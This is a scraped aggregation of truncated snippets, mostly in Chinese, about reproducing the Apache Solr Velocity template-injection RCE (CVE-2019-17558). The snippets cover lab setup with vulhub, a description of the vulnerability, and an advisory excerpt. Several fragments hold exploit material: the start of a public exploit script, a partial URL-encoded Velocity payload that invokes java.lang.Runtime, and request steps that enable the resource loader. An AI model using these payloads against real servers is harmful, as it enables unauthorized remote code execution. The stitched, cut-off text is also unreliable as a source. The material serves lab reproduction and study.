执行漏洞py脚本,取得shell连接 F:\exphub-master\solr>python cve-2019-17558_cmd.py EXP #!/usr/bin/python3#-*- coding:utf-8 -*-# author:zhzyker# from:https://github.com/zhzyker/exphub# telegram:t.me/zhzykerimport requestsimport sysimport jsoniflen(sys.argv)!=2:print('+---+')print('...
今天复现了一下 Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558),Apache Solr 使用Velocity 模板语言来自定义查询的响应格式,Velocity 模板可以动态生成响应内容。在受影响的 Apache Solr 版本中(5.0.0 到 8.3.1),如果配置不当,用户可以上传并执行自定义的 Velocity 模板。 ailx10 1973 次咨询 4.9 ...
攻击者可借助Velocity模板利用该漏洞在系统上执行任意代码。 0x02影响版本 Apache Solr 5.0.0 ~8.3.1 0x03环境搭建 1、本次环境搭建使用vulhub搭建,下载地址: git clone chttps://github.com/vulhub/vulhub.git 2、下载至有docker环境的虚拟机中,进入目录拉取docker cd vulhub-master/solr/CVE-2019-17558/ dock...
CVE-2019-17558漏洞复现 一、漏洞描述 Solr是Apache Lucene项目的开源企业搜索平台。 其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。2019年10月30日,国外安全研究人员放出了一个关于solr 模板注入的exp,攻击者通过未授权访问solr服务器,发送特定的数据包开启params.resource.load...
CVE-2019-17558是一个影响Apache Solr 5.0.0到8.3.1版本的远程代码执行漏洞。该漏洞允许攻击者通过自定义的Velocity模板功能,在Solr系统上执行任意代码。攻击者可以通过发送精心构造的HTTP请求来触发这个漏洞,从而获取对目标系统的控制权。 2. Solr中远程命令执行的原理 Apache Solr是一个基于Lucene的开源搜索平台。它...
Apache Solr CVE-2019-17558漏洞复现 Apache Solr简介 Apache Solr是一个企业级搜索平台,用Java编写且开源,基于Apache Lucene项目。 复现部分一共分为两步 条件: Solr控制台未设置鉴权(默认),或登录凭证被猜出,这样就能访问到ConfigAPI。 一个core(索引库)对应一个solrconfig.xml。当某个core(索引库)的solrconfig...
攻击者可借助自定义的Velocity模板功能,利用Velocity-SSTI漏洞在Solr系统上执行任意代码。 漏洞利用: 获取vulfocus靶场flag-payload: /solr/demo/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x...
Apache Solr remained vulnerable to a zero-day weeks after proof-of-concept code became public for CVE-2019-17558.UPDATE 12/31/2019: The background and solution sections below have been updated to reflect the recent security update released by Apache. 背景說明 On October 29, a proof ...
Apache Solr 远程代码执行漏洞浅析(CVE-2019-17558) 简介Solr 是Apache Lucene项目的开源企业搜索平台。其主要功能包括全文检索、命中标示、分面搜索、动态聚类、数据库集成,以及富文本的处理。Solr是用Java编写、运行在Servlet容器… Rai4over 2020-12-18 15:06:46 ...
Solr远程命令执行漏洞(CVE-2019-17558) 1、通过以下API获取所有内核名称 http://192.168.222.196:8983/solr/admin/cores?indexInfo=false&wt=json 2、启用配置params.resource.loader.enabled,burpsuit抓包改包启动配置 1POST /solr/demo/config HTTP/1.12Host:192.168.164.162:89833Content-Type: application/json4...